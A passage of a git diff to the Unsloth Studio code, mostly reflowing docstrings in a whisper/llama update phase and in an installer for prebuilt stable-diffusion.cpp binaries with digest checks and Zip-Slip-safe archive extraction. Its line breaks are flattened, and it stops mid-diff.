run_chained_phase_after_llama(phase: dict, set_progress) -> dict:- """Make the pairing check chained_phase_plan deferred, now that llama is installed.-- The plan assumes the new llama supplies a workable pairing. That was false for ten- days (llama reached b10687, whisper stayed on b10472-mix-4b653db), so the phase ran- an install that could only exit 2 and failed a job llama had already won.-- An attempt that goes ahead still surfaces exit 2, which is what keeps an- incompatible release actionable rather than a false success.- """+ """Make the pairing check chained_phase_plan deferred, now that llama is installed. The plan assumes the new llama supplies a workable pairing; that was false for ten days (llama reached b10687, whisper stayed on b10472-mix-4b653db), so the phase ran an install that could only exit 2 and failed a job llama had already won. An attempt that goes ahead still surfaces exit 2, which is what keeps an incompatible release actionable rather than a false success."""phase = _phase_repaired_to_installed_llama(phase)try:backend = phase.get("backend")@@ -635,18 +530,14 @@ def run_chained_phase_after_llama(phase: dict, set_progress) -> dict:except Exception as exc:logger.debug("whisper pairing pre-flight failed", error = str(exc))resolved = None- # A POSITIVE incompatibility only: an unreachable API also reports prebuilt_available false, and- # a pre-flight that cannot answer must fail towards the install. Deliberately no test on the- # INSTALLED kind: a fat marker carries no install_kind, so gating on it skips the likeliest host.+ # A POSITIVE incompatibility only: an unreachable API also reports prebuilt_available false, and a pre-flight that cannot answer must fail towards the install. Deliberately no test on the INSTALLED kind: a fat marker carries no install_kind, so gating on it skips the likeliest host.if (resolved or {}).get("unavailable_reason") == "incompatible":return {"skipped": True, "skip_reason": "paired_llama_unavailable"}return run_chained_phase(phase, set_progress)def run_chained_phase(phase: dict, set_progress) -> dict:- """Run the whisper phase of a combined update (spec from chained_phase_plan):- same unload/install/cache-refresh path as the standalone job, reporting- progress through the chained job's window rather than whisper's own."""+ """Run the whisper phase of a combined update (spec from chained_phase_plan): same unload/install/cache-refresh path as the standalone job, reporting progress through the chained job's window rather than whisper's own."""return _install_latest(phase["install_dir"],phase["repo"],diff --git a/studio/install_sd_cpp_prebuilt.py b/studio/install_sd_cpp_prebuilt.pyindex 42c3a03aaff..709a7e45b48 100644--- a/studio/install_sd_cpp_prebuilt.py+++ b/studio/install_sd_cpp_prebuilt.py@@ -1,20 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Install a prebuilt ``sd-cli`` (stable-diffusion.cpp) for the native diffusion-engine.--The chat backend ships a prebuilt llama-server; this is the diffusion analogue,-kept deliberately small. stable-diffusion.cpp publishes per-platform release-zips (macOS-arm64/Metal, Linux x86_64 CPU, plus Vulkan / ROCm / Windows-variants), so on the Phase-4 targets (Apple Silicon and CPU) there is nothing to-compile: resolve the right asset, download, extract into-``~/.unsloth/stable-diffusion.cpp``, and the engine's finder picks it up.--``resolve_release_asset`` -- the host -> asset choice -- is a pure function so the-matching matrix is unit-tested without any network. CUDA / ROCm / XPU hosts stay-on diffusers and never need this; it exists for the engines diffusers serves-poorly.+"""Install a prebuilt ``sd-cli`` (stable-diffusion.cpp) for the native diffusion engine, the analogue of the chat backend's prebuilt llama-server. stable-diffusion.cpp publishes per-platform release zips (macOS-arm64/Metal, Linux x86_64 CPU, plus Vulkan / ROCm / Windows variants), so on Apple Silicon and CPU there is nothing to compile: resolve the asset, download, extract into ``~/.unsloth/stable-diffusion.cpp``, and the engine's finder picks it up. ``resolve_release_asset``, the host -> asset choice, is a pure function so the matching matrix is unit-tested without any network. CUDA / ROCm / XPU hosts stay on diffusers and never need this.Usage:python studio/install_sd_cpp_prebuilt.py # auto-detect host@@ -39,41 +26,30 @@ import zipfilefrom pathlib import Path, PurePosixPath, PureWindowsPathfrom typing import Optional, Sequence-# Default source: the Unsloth mirror's CPU/Apple prebuilts (override with UNSLOTH_SD_CPP_REPO). GPU hosts run diffusers,-# so only CPU/Apple assets are needed.+# Default source: the Unsloth mirror's CPU/Apple prebuilts (override with UNSLOTH_SD_CPP_REPO). GPU hosts run diffusers, so only CPU/Apple assets are needed.DEFAULT_REPO = "unslothai/stable-diffusion.cpp"-# Fallback when the mirror cannot serve this host (release missing, or a host we do not build).UPSTREAM_FALLBACK_REPO = "leejet/stable-diffusion.cpp"-# Pinned for reproducibility; UNSLOTH_SD_CPP_TAG overrides (empty tracks latest). A missing tag falls back to latest.-# The -u<id> suffix is the mirror's patch set: an unpatched build aborts on the default --cfg-scale and on --vae-on-cpu,-# and quantizes MiniMax-H3's 1-D norms into an output uncorrelated with its own bf16 reference-# (leejet/stable-diffusion.cpp#1861, #1862, #1863).+# Pinned for reproducibility; UNSLOTH_SD_CPP_TAG overrides (empty tracks latest) and a missing tag falls back to latest. The -u<id> suffix is the mirror's patch set: an unpatched build aborts on the default --cfg-scale and on --vae-on-cpu, and quantizes MiniMax-H3's 1-D norms into an output uncorrelated with its own bf16 reference (leejet/stable-diffusion.cpp#1861, #1862, #1863).DEFAULT_TAG = "master-813-bfbef5b-u13b9d92"-# Back-compat alias (some callers/tests import REPO).REPO = DEFAULT_REPO-# ``master-<n>-<sha>-u<id>``: the mirror's marker for "upstream tree plus our patches/"._MIRROR_ONLY_TAG_RE = re.compile(r"^master-\d+-[0-9a-f]+-u[0-9a-f]+$")-# What the managed directory records about the install it holds, so a later ensure_* can tell a CPU-# bundle from a CUDA one instead of reusing whatever binary happens to be on disk.+# What the managed directory records about the install it holds, so a later ensure_* can tell a CPU bundle from a CUDA one instead of reusing whatever binary happens to be on disk.INSTALL_RECORD = ".unsloth-sd-cpp-install.json"-# Marks the directory as one Unsloth created, so an uninstall never wipes a user's own tree.OWNERSHIP_MARKER = ".unsloth-studio-owned"def accelerator_class(accelerator: Optional[str]) -> str:- """The accelerator an install actually serves. ``auto`` resolves to the plain build, so it and- ``cpu`` are the same install and must not look like an upgrade to one another."""+ """The accelerator an install actually serves. ``auto`` resolves to the plain build, so it and ``cpu`` are the same install and must not look like an upgrade to one another."""accel = (accelerator or "auto").strip().lower()return "cpu" if accel in ("auto", "cpu", "") else acceldef read_install_record(root: Path) -> dict:- """The install record in ``root``, or ``{}`` when there is none (an install predating the- record, or a directory that is not ours). Never raises."""+ """The install record in ``root``, or ``{}`` when there is none (an install predating the record, or a directory that is not ours). Never raises."""try:with open(root / INSTALL_RECORD, "r", encoding = "utf-8") as f:rec = json.load(f)@@ -83,19 +59,7 @@ def read_install_record(root: Path) -> dict:def installed_accelerator(root: Path) -> Optional[str]:- """The accelerator class the install in ``root`` was built for, or None when unrecorded.-- The memo wins over the file, but only while the file is exactly the one it could not replace.- It exists for a record that stayed readable and stale (still naming the PREVIOUS accelerator)- after a successful install, where trusting the file re-downloads the bundle on every selection.- Once anything else rewrites that file -- the installer CLI, another Unsloth -- the content no- longer matches the snapshot and the file is the newer answer again.-- Only a SUCCESSFUL read that disagrees retires the memo. A record we cannot read right now is- not a newer answer: the memo's own reason for existing is a record this process could not- write, and on Windows another writer holding that file open reads as a failure. Dropping the- memo on it would hand the next selection the stale accelerator it was protecting against, and- that is a multi-GB reinstall on every load."""+ """The accelerator class the install in ``root`` was built for, or None when unrecorded. The memo wins over the file, but only while the file is exactly the one it could not replace: it exists for a record that stayed readable and stale (still naming the PREVIOUS accelerator) after a successful install, where trusting the file re-downloads the bundle on every selection. Once anything else rewrites that file the content no longer matches the snapshot and the file is the newer answer again. Only a SUCCESSFUL read that disagrees retires the memo, since a record we cannot read right now is not a newer answer (on Windows another writer holding that file open reads as a failure) and dropping the memo on it would hand the next selection the stale accelerator, a multi-GB reinstall on every load."""memo = _INSTALLED_ACCELERATOR_MEMO.get(str(root))val = Noneif memo is not None:@@ -108,20 +72,12 @@ def installed_accelerator(root: Path) -> Optional[str]:return val if isinstance(val, str) and val else None-# Set ONLY when the on-disk record could not be written: install root ->-# An unwritable record (a read-only file, a directory in its place) otherwise means the accelerator reads as the-# PREVIOUS one, or as unknown, forever, and either is a mismatch for a GPU target, so every later engine selection re--# downloads the same multi-GB bundle. Keyed on the snapshot, so once anything else updates that file it is newer and-# wins again.+# Set ONLY when the on-disk record could not be written (install root -> snapshot): an unwritable record otherwise means the accelerator reads as the PREVIOUS one, or as unknown, forever, and either is a mismatch for a GPU target, so every later engine selection re-downloads the same multi-GB bundle. Keyed on the snapshot, so once anything else updates that file it wins again._INSTALLED_ACCELERATOR_MEMO: dict[str, tuple[str, Optional[str]]] = {}def _raw_install_record(root: Path) -> Optional[str]:- """The record file's bytes as text, or None when it cannot be read. Never raises.-- None is "cannot tell", NOT empty content: an absent file, a directory in its place and a- transient permission/sharing failure all land here, and none of them proves the record was- rewritten. Callers must not treat it as a value that differs from a snapshot."""+ """The record file's bytes as text, or None when it cannot be read. Never raises. None is "cannot tell", NOT empty content: an absent file, a directory in its place and a transient permission/sharing failure all land here, and none of them proves the record was rewritten, so callers must not treat it as a value that differs from a snapshot."""try:with open(root / INSTALL_RECORD, "r", encoding = "utf-8") as f:return f.read()@@ -129,23 +85,12 @@ def _raw_install_record(root: Path) -> Optional[str]:return None-# The same, for the bundle's sd-server capability. Memoised alongside the accelerator or not at-# all: with only half of it remembered, an unwritable record leaves a serverless install looking-# server-capable, and the load that finds a mismatched legacy server keeps reinstalling.+# The same, for the bundle's sd-server capability. Memoised alongside the accelerator or not at all: with only half of it remembered, an unwritable record leaves a serverless install looking server-capable, and the load that finds a mismatched legacy server keeps reinstalling._INSTALLED_SHIPS_SERVER_MEMO: dict[str, bool] = {}def installed_ships_server(root: Path) -> Optional[bool]:- """Whether the bundle installed in ``root`` carried an sd-server, or None when unrecorded.-- None is the honest answer for every install that predates this field, and callers must treat- it as "unknown" rather than "serverless": a missing sd-server is otherwise indistinguishable- from one a bundle never shipped, and suppressing the reinstall on a guess would strand a tree- whose server was deleted (by hand, or by the runnability repair) on the one-shot CLI forever.-- The memo WINS over the file, for the same reason ``installed_accelerator``'s does: it is only- set by an install that completed in this process, and the case it exists for is a record that- could not be written, where the file is stale or absent."""+ """Whether the bundle installed in ``root`` carried an sd-server, or None when unrecorded. None is the honest answer for every install that predates this field, and callers must treat it as "unknown" rather than "serverless": a missing sd-server is otherwise indistinguishable from one a bundle never shipped, and suppressing the reinstall on a guess would strand a tree whose server was deleted on the one-shot CLI forever. The memo WINS over the file, as ``installed_accelerator``'s does, since it is only set by an install that completed in this process and the case it exists for is a record that could not be written."""memo = _INSTALLED_SHIPS_SERVER_MEMO.get(str(root))val = memo if memo is not None else read_install_record(root).get("ships_server")return val if isinstance(val, bool) else None@@ -159,25 +104,19 @@ def _write_install_record(tag: Optional[str],ships_server: Optional[bool] = None,) -> None:- """Record what this install is, so a later ensure_* can tell a CPU bundle from a GPU one.-- The write itself stays best-effort -- a metadata failure must not throw away binaries that- extracted correctly -- but the answer is memoised either way, so this process never re-installs- what it just installed."""+ """Record what this install is, so a later ensure_* can tell a CPU bundle from a GPU one. The write itself stays best-effort (a metadata failure must not throw away binaries that extracted correctly) but the answer is memoised either way, so this process never re-installs what it just installed."""klass = accelerator_class(accelerator)rec: dict = {"accelerator": klass, "repo": repo, "tag": tag}if ships_server is not None:rec["ships_server"] = ships_server_INSTALLED_SHIPS_SERVER_MEMO[str(root)] = ships_serverelse:- # An install that did not report the capability must not leave an older memo standing in for this one -- the- # tree is now whatever this bundle put there.+ # An install that did not report the capability must not leave an older memo standing in for this one: the tree is now whatever this bundle put there._INSTALLED_SHIPS_SERVER_MEMO.pop(str(root), None)try:with open(root / INSTALL_RECORD, "w", encoding = "utf-8") as f:json.dump(rec, f)except OSError as exc:- # Remember it, pinned to the record we could not replace._INSTALLED_ACCELERATOR_MEMO[str(root)] = (klass, _raw_install_record(root))print(f"sd-cli: WARNING could not write the install record in {root}: {exc}; "@@ -185,7 +124,6 @@ def _write_install_record(flush = True,)else:- # The file is authoritative again, so a memo from an earlier failed write must not outlive it._INSTALLED_ACCELERATOR_MEMO.pop(str(root), None)@@ -200,30 +138,20 @@ def _pinned_tag() -> Optional[str]:def is_mirror_only_tag(tag: Optional[str]) -> bool:- """True for a ``<upstream tag>-u<id>`` tag, which only the Unsloth mirror can serve.-- The mirror publishes such a tag when it builds the upstream tree plus the patch set in its- ``patches/`` directory, so by construction upstream has no release under that name."""+ """True for a ``<upstream tag>-u<id>`` tag, which only the Unsloth mirror can serve: the mirror publishes such a tag when it builds the upstream tree plus the patch set in its ``patches/`` directory, so by construction upstream has no release under that name."""return bool(tag) and bool(_MIRROR_ONLY_TAG_RE.match(tag))-# A mirror release built on top of an upstream one carries a "-u<short sha>" suffix naming_MIRROR_TAG_SUFFIX = re.compile(r"-u[0-9a-f]{7,}$")def upstream_tag_for(tag: Optional[str]) -> Optional[str]:- """The upstream release ``tag`` was built from: the same tag with the mirror's fork suffix- dropped, or ``tag`` unchanged when it carries none.-- Without this, pinning a fork-only tag silently costs every host the mirror does not build- (Linux Vulkan/ROCm, Windows GPU) its pinned install: the exact string 404s upstream and the- fallback settles for upstream *latest*, which is any build published since."""+ """The upstream release ``tag`` was built from: the same tag with the mirror's fork suffix dropped, or ``tag`` unchanged when it carries none. Without this, pinning a fork-only tag silently costs every host the mirror does not build (Linux Vulkan/ROCm, Windows GPU) its pinned install, since the exact string 404s upstream and the fallback settles for upstream *latest*."""if not tag:return tagreturn _MIRROR_TAG_SUFFIX.sub("", tag) or tag-# accelerator -> the token that must appear in a Linux/Windows asset name._LINUX_ACCEL_TOKEN = {"rocm": "rocm", "vulkan": "vulkan"}_WINDOWS_ACCEL_TOKEN = {"cuda": "cuda12",@@ -254,13 +182,7 @@ def resolve_release_asset(machine: str,accelerator: str = "auto",) -> Optional[str]:- """Pick the best release asset for a host, or None if none matches.-- ``system`` / ``machine`` are ``platform.system()`` / ``platform.machine()``- values; ``accelerator`` is ``auto`` (CPU/Metal default), ``vulkan``,- ``rocm``, or ``cuda`` (Windows only). Pure -- the caller passes the release's- asset name list.- """+ """Pick the best release asset for a host, or None if none matches. ``system`` / ``machine`` are ``platform.system()`` / ``platform.machine()`` values; ``accelerator`` is ``auto`` (CPU/Metal default), ``vulkan``, ``rocm``, or ``cuda`` (Windows only). Pure: the caller passes the release's asset name list."""system = system.lower()accel = accelerator.lower()arch = _arch_tokens(machine)@@ -277,22 +199,18 @@ def resolve_release_asset(return pool[0] if pool else Noneif system == "windows":- # Filter by host arch: an arm64 host must not install an unrunnable x64 sd-cli. No match returns None so the- # caller falls back.+ # Filter by host arch: an arm64 host must not install an unrunnable x64 sd-cli. No match returns None so the caller falls back.pool = [a for a in zips if "bin-win" in a.lower() and any(t in a.lower() for t in arch)]token = _WINDOWS_ACCEL_TOKEN.get(accel, accel)sel = [a for a in pool if token in a.lower()]if sel:return sel[0]- # An explicit GPU accelerator with no asset returns None, so the caller falls back instead of installing a CPU- # build.+ # An explicit GPU accelerator with no asset returns None, so the caller falls back instead of installing a CPU build.if accel in ("cuda", "vulkan", "rocm"):return None- # auto / cpu -> a plain avx2 CPU build, else any windows build.cpu = [a for a in pool if "avx2" in a.lower()]return cpu[0] if cpu else (pool[0] if pool else None)- # linux (and anything else unix-like)pool = [a for a in zips if "linux" in a.lower() and any(t in a.lower() for t in arch)]if accel in ("cuda", "vulkan", "rocm"):# Explicit GPU accelerator: require its marker, never hand back a plain CPU build.@@ -311,12 +229,7 @@ def _fetch_release(timeout: float = 30.0,allow_latest: bool = True,) -> Optional[dict]:- """GET a release JSON from GitHub. With ``tag`` set, fetch that exact release; otherwise- fetch latest. ``token`` is optional and lifts the API rate limit.-- When the pinned ``tag`` is missing (404): if ``allow_latest`` fall back to that repo's- latest, else return ``None`` so the caller can try the SAME pin on another repo before- settling for any repo's unpinned latest."""+ """GET a release JSON from GitHub: with ``tag`` set fetch that exact release, otherwise latest. ``token`` is optional and lifts the API rate limit. When the pinned ``tag`` is missing (404), fall back to that repo's latest if ``allow_latest``, else return ``None`` so the caller can try the SAME pin on another repo before settling for any repo's unpinned latest."""repo = repo or _repo()token = token or os.environ.get("GH_TOKEN") or os.environ.get("GITHUB_TOKEN")@@ -342,15 +255,12 @@ def _fetch_release(return _get(f"{base}/latest")-# Back-compat alias: the old name fetched latest.def _fetch_latest_release(*, token: Optional[str] = None, timeout: float = 30.0) -> dict:return _fetch_release(None, token = token, timeout = timeout)def _verify_sha256(path: Path, expected_digest: Optional[str]) -> None:- """Verify ``path`` against a GitHub asset ``digest`` ('sha256:<hex>'). Integrity check- against a corrupted/tampered download before we extract + execute the binary. When the- release publishes no digest (older releases), warn and proceed rather than hard-fail."""+ """Verify ``path`` against a GitHub asset ``digest`` ('sha256:<hex>'), an integrity check against a corrupted or tampered download before we extract and execute the binary. When the release publishes no digest (older releases), warn and proceed rather than hard-fail."""if not expected_digest:print(f"sd-cli: WARNING no digest for {path.name}; cannot verify integrity", flush = True)return@@ -370,21 +280,7 @@ def _verify_sha256(path: Path, expected_digest: Optional[str]) -> None:def default_install_dir() -> Path:- """``<UNSLOTH_STUDIO_HOME>/stable-diffusion.cpp``, else the legacy- ``~/.unsloth/stable-diffusion.cpp``.-- The same placement ``install_llama_prebuilt.default_managed_llama_dir`` uses for- llama.cpp, and the whisper.cpp / node installs use for theirs: the tree goes- *under* the Unsloth home, so side-by-side Unsloth instances stay isolated and nothing outside- the home is ever claimed. The legacy default home ``~/.unsloth/studio`` still maps- to ``~/.unsloth/stable-diffusion.cpp`` so an existing install is reused.-- Kept byte-identical in meaning to ``sd_cpp_engine.managed_install_root``; the two- are separate because this script must run standalone, before the backend package is- importable.-- Derived from an absolute home: a relative ``UNSLOTH_STUDIO_HOME`` must not leave the- install dir relative to whatever the working directory happens to be."""+ """``<UNSLOTH_STUDIO_HOME>/stable-diffusion.cpp``, else the legacy ``~/.unsloth/stable-diffusion.cpp``. The same placement ``install_llama_prebuilt.default_managed_llama_dir`` uses for llama.cpp and the whisper.cpp / node installs use for theirs: the tree goes *under* the Unsloth home, so side-by-side instances stay isolated and nothing outside the home is ever claimed. The legacy default home ``~/.unsloth/studio`` still maps to ``~/.unsloth/stable-diffusion.cpp`` so an existing install is reused. Kept byte-identical in meaning to ``sd_cpp_engine.managed_install_root``; separate because this script must run standalone, before the backend package is importable. Derived from an absolute home, so a relative ``UNSLOTH_STUDIO_HOME`` cannot leave the install dir relative to the working directory."""home = (os.environ.get("UNSLOTH_STUDIO_HOME") or os.environ.get("STUDIO_HOME") or "").strip()legacy = Path.home() / ".unsloth" / "stable-diffusion.cpp"if not home:@@ -414,12 +310,7 @@ def _locate_sd_cli(root: Path) -> Optional[Path]:class SupersededBinaryError(RuntimeError):- """An install failed PART WAY through replacing the managed tree.-- Distinct from every other install failure because the tree is now a mixture of two bundles.- ``ensure_*`` must not record it as a failed accelerator upgrade: that memo suppresses the- mismatch for the whole process, so the mixed tree would be accepted forever instead of being- retried, which is the opposite of what withholding the install record is for."""+ """An install failed PART WAY through replacing the managed tree, so the tree is now a mixture of two bundles. ``ensure_*`` must not record it as a failed accelerator upgrade: that memo suppresses the mismatch for the whole process, so the mixed tree would be accepted forever instead of being retried."""def _binary_names() -> tuple[str, ...]:@@ -429,24 +320,13 @@ def _binary_names() -> tuple[str, ...]:def _binary_key(path: Path) -> Path:- """How a binary is compared: parents resolved, final component left alone.-- Both halves matter now that the tree holds symlinks. Resolving the leaf would turn a bundle- shipping ``sd-cli -> sd-cli-1.2`` into a name no member has; leaving the parents lexical- would spell a member under a symlinked directory differently from ``rglob``, and the sweep- would delete the binary this bundle just supplied."""+ """How a binary is compared: parents resolved, final component left alone. Resolving the leaf would turn a bundle shipping ``sd-cli -> sd-cli-1.2`` into a name no member has; leaving the parents lexical would spell a member under a symlinked directory differently from ``rglob``, and the sweep would delete the binary this bundle just supplied."""p = Path(os.path.abspath(path))return Path(os.path.realpath(p.parent)) / p.namedef _archive_binary_paths(zf: zipfile.ZipFile, target: Path) -> set[Path]:- """Where this archive puts its executables, as absolute LEXICAL paths under ``target``.-- Read from the MEMBER LIST, never from the extracted tree: a leftover binary from an earlier- install looks identical on disk once extraction has run, which is the whole confusion here.-- Unresolved on purpose: extraction can change what the parents mean, so resolving here would- key the binary off a layout that no longer exists by the time the sweep runs."""+ """Where this archive puts its executables, as absolute LEXICAL paths under ``target``. Read from the MEMBER LIST, never from the extracted tree: a leftover binary from an earlier install looks identical on disk once extraction has run. Unresolved on purpose, since extraction can change what the parents mean and resolving here would key the binary off a layout that no longer exists by the time the sweep runs."""names = _binary_names()out: set[Path] = set()for member in zf.namelist():@@ -456,10 +336,7 @@ def _archive_binary_paths(zf: zipfile.ZipFile, target: Path) -> set[Path]:def _tree_has_binaries(root: Path) -> bool:- """True when ``root`` already holds an sd-cli / sd-server from an earlier bundle.-- Asked BEFORE extraction, because that is the only moment the answer is about the previous- bundle alone."""+ """True when ``root`` already holds an sd-cli / sd-server from an earlier bundle. Asked BEFORE extraction, the only moment the answer is about the previous bundle alone."""for name in _binary_names():for found in root.rglob(name):if found.is_file():@@ -468,19 +345,9 @@ def _tree_has_binaries(root: Path) -> bool:def _discard_superseded_binaries(root: Path, supplied: set[Path]) -> None:- """Remove managed sd-cli / sd-server copies this bundle did NOT write.-- Extraction MERGES into the tree, so a bundle whose layout differs from the previous one (or- that ships no server at all) leaves the old accelerator's executables behind -- and- ``_layout_candidates`` prefers ``build/bin`` over the prebuilt's versioned subdirectory, so the- stale one keeps winning. Nothing downstream repairs that: a leftover binary is still RUNNABLE,- so ``_usable_or_discard_managed`` keeps it, and once the record below names the new accelerator- ``_accelerator_changed`` trusts the tree and serves the old build forever.-- Raises when a copy cannot go, which withholds the record and makes the next load retry."""+ """Remove managed sd-cli / sd-server copies this bundle did NOT write. Extraction MERGES into the tree, so a bundle whose layout differs from the previous one (or that ships no server at all) leaves the old accelerator's executables behind, and ``_layout_candidates`` prefers ``build/bin`` over the prebuilt's versioned subdirectory so the stale one keeps winning. Nothing downstream repairs that: a leftover binary is still RUNNABLE so ``_usable_or_discard_managed`` keeps it, and once the record names the new accelerator ``_accelerator_changed`` trusts the tree and serves the old build forever. Raises when a copy cannot go, which withholds the record and makes the next load retry."""names = _binary_names()- # Resolved HERE, not when ``supplied`` was built: the tree is final only now, and extraction- # may have replaced a directory symlink a member path was spelled through.+ # Resolved HERE, not when ``supplied`` was built: the tree is final only now, and extraction may have replaced a directory symlink a member path was spelled through.keys = {_binary_key(p) for p in supplied}for name in names:for found in sorted(root.rglob(name)):@@ -497,9 +364,7 @@ def _discard_superseded_binaries(root: Path, supplied: set[Path]) -> None:def _locate_sd_server(root: Path) -> Optional[Path]:- """The persistent ``sd-server`` binary in the extracted tree, if the archive ships- one (modern stable-diffusion.cpp releases do). Best-effort: the native backend- falls back to one-shot ``sd-cli`` when it is absent."""+ """The persistent ``sd-server`` binary in the extracted tree, if the archive ships one (modern stable-diffusion.cpp releases do). Best-effort: the native backend falls back to one-shot ``sd-cli`` when it is absent."""name = "sd-server.exe" if sys.platform == "win32" else "sd-server"for p in root.rglob(name):if p.is_file():@@ -513,9 +378,7 @@ def _download(*,timeout: float = 300.0,) -> None:- """Stream ``url`` to ``dest`` with an explicit timeout. ``urlretrieve`` takes no- timeout and can hang forever on a stalled socket. A User-Agent is set because the- GitHub asset CDN can reject header-less requests; the API fetch carries any token."""+ """Stream ``url`` to ``dest`` with an explicit timeout: ``urlretrieve`` takes no timeout and can hang forever on a stalled socket. A User-Agent is set because the GitHub asset CDN can reject header-less requests; the API fetch carries any token."""import shutilreq = urllib.request.Request(url, headers = {"User-Agent": "unsloth-sd-cpp-installer"})@@ -523,17 +386,14 @@ def _download(shutil.copyfileobj(resp, f)-# PATH_MAX: a link payload is a pathname and ``zf.read`` holds it in memory, so anything larger-# is a decompression bomb rather than a library name.+# PATH_MAX: a link payload is a pathname and ``zf.read`` holds it in memory, so anything larger is a decompression bomb rather than a library name._MAX_LINK_TARGET_BYTES = 4096# What Linux allows before ELOOP, so a deeper layout is one the loader could not read anyway._MAX_LINK_DEPTH = 40-# Creators whose ``external_attr`` high bits are a Unix ``st_mode``: 3 (Info-ZIP, CPython) and 19 (Apple's ditto, same-# layout). FAT and NTFS keep DOS attribute flags there, so reading a mode out of one would invent symlinks the archive-# never described.+# Creators whose ``external_attr`` high bits are a Unix ``st_mode``: 3 (Info-ZIP, CPython) and 19 (Apple's ditto, same layout). FAT and NTFS keep DOS attribute flags there, so reading a mode out of one would invent symlinks the archive never described._UNIX_CREATORS = (3, 19)@@ -545,10 +405,7 @@ def _is_symlink_member(member: zipfile.ZipInfo) -> bool:def _checked_link_target(zf: zipfile.ZipFile, member: zipfile.ZipInfo, dest: Path, base: Path) -> str:- """A symlink member's payload, refused unless it is relative and stays inside ``base``.-- Rejects absolute (including Windows drive-relative, which Win32 resolves against that drive's- cwd), empty, NUL-bearing, self-referential and escaping targets."""+ """A symlink member's payload, refused unless it is relative and stays inside ``base``. Rejects absolute (including Windows drive-relative, which Win32 resolves against that drive's cwd), empty, NUL-bearing, self-referential and escaping targets."""if member.file_size > _MAX_LINK_TARGET_BYTES:raise RuntimeError(f"oversized symlink target in archive: {member.filename!r}")link_target = zf.read(member).decode("utf-8", "surrogateescape")@@ -577,11 +434,7 @@ def _plan_resolve(archive: dict,depth: int = 0,) -> Path:- """``path`` with every component resolved as the tree WILL have it after extraction.-- Links this archive ships are followed from the archive (not on disk yet); links it replaces- are not followed (gone before the first write); anything else is a previous bundle's. Two- members can point through each other's directories, so a runaway recursion is that cycle."""+ """``path`` with every component resolved as the tree WILL have it after extraction. Links this archive ships are followed from the archive (not on disk yet); links it replaces are not followed (gone before the first write); anything else is a previous bundle's. Two members can point through each other's directories, so a runaway recursion is that cycle."""if path == base or base not in path.parents:return pathif depth > _MAX_LINK_DEPTH:@@ -600,36 +453,24 @@ def _plan_resolve(def _plan_key(dest: Path, base: Path, replaced: set[str], archive: dict) -> Path:- """Where ``dest`` will really land. Only the parents are resolved: the final component is the- link about to be created, and following it would compare the wrong thing."""+ """Where ``dest`` will really land. Only the parents are resolved: the final component is the link about to be created, and following it would compare the wrong thing."""if dest == base or base not in dest.parents:return destreturn _plan_resolve(dest.parent, base, replaced, archive) / dest.namedef _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:- """``extractall`` with a per-member containment check, so an archive carrying an absolute- path or a ``..`` entry can't write outside ``target`` (Zip-Slip).-- Symlink members are RECREATED rather than extracted: CPython's ``zipfile`` writes a symlink's- payload (the link target text) as a regular file, which flattens the ``lib*.so`` links- upstream sd.cpp releases ship and leaves ``sd-cli`` with ``file too short`` libraries (#9268).-- Everything is decided BEFORE the first write, so a refused archive leaves the install it was- refused over exactly as it was."""+ """``extractall`` with a per-member containment check, so an archive carrying an absolute path or a ``..`` entry can't write outside ``target`` (Zip-Slip). Symlink members are RECREATED rather than extracted: CPython's ``zipfile`` writes a symlink's payload as a regular file, which flattens the ``lib*.so`` links upstream sd.cpp releases ship and leaves ``sd-cli`` with ``file too short`` libraries (#9268). Everything is decided BEFORE the first write, so a refused archive leaves the install exactly as it was."""base = target.resolve()- # The installer writes these itself. A link at one makes _write_install_record follow it and- # overwrite the target while the record still reads back, so a broken install reports success.+ # The installer writes these itself. A link at one makes _write_install_record follow it and overwrite the target while the record still reads back, so a broken install reports success.reserved = {base / INSTALL_RECORD, base / OWNERSHIP_MARKER}links: list[tuple[Path, str, zipfile.ZipInfo]] = []plain: list[zipfile.ZipInfo] = []written: list[tuple[Path, str]] = []for member in zf.infolist():- # extractall DROPS ".." instead of cancelling the component before it, so "a/.." is "a" to it and normalising- # here would check a path it never writes. No release ships one.+ # extractall DROPS ".." instead of cancelling the component before it, so "a/.." is "a" to it and normalising here would check a path it never writes. No release ships one.if ".." in PurePosixPath(member.filename).parts:raise RuntimeError(f"unsafe path in archive: {member.filename!r}")- # Lexical, never resolve()d: extraction MERGES.dest = Path(os.path.normpath(base / member.filename))checked = dest.resolve()if (dest != base and base not in dest.parents) or (@@ -641,8 +482,7 @@ def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:links.append((dest, _checked_link_target(zf, member, dest, base), member))else:plain.append(member)- # No member may sit under a directory this archive turns into a link: extraction would write- # through it, and catching that at creation time means part of the tree is already replaced.+ # No member may sit under a directory this archive turns into a link: extraction would write through it, and catching that at creation time means part of the tree is already replaced.link_dests = {d for d, _, _ in links}for dest, filename in written:for parent in dest.parents:@@ -652,19 +492,16 @@ def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:raise RuntimeError(f"unsafe path in archive: {filename!r} is under a symlink member")- # Every destination this archive writes becomes its own member.replaced = {str(d) for d, _ in written}archive = {str(d): t for d, t, _ in links}replaced |= {str(_plan_key(d, base, replaced, archive)) for d, _ in written}- # A member path is not where the link lands: a previous bundle's alias -> . puts alias/<record>- # on the record itself, which a lexical compare misses. Same for a directory already there.+ # A member path is not where the link lands: a previous bundle's alias -> . puts alias/<record> on the record itself, which a lexical compare misses. Same for a directory already there.keys = {str(d): _plan_key(d, base, replaced, archive) for d, _, _ in links}for dest, link_target, member in links:key = keys[str(dest)]if key in reserved:raise RuntimeError(f"symlink at a reserved installer path: {member.filename!r}")- # Nor may one POINT at them: the marker is already there on a root Unsloth owns, so- # sd-cli -> marker leaves _locate_sd_cli reporting an empty file as the executable.+ # Nor may one POINT at them: the marker is already there on a root Unsloth owns, so sd-cli -> marker leaves _locate_sd_cli reporting an empty file as the executable.landing = _plan_resolve(Path(os.path.normpath(key.parent / link_target)), base, replaced, archive)@@ -672,9 +509,7 @@ def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:raise RuntimeError(f"symlink onto a reserved installer path: {member.filename!r}")if key.is_dir() and not key.is_symlink():raise RuntimeError(f"symlink member collides with a directory: {member.filename!r}")- # Chains are normal (libwebp.so -> .so.7 -> .so.7.2.0) but must terminate: a cycle installs a library nothing can- # read, so every load reinstalls it. Walk the graph the tree WILL have, keyed by landing point so alias/a and real/b- # count as one cycle.+ 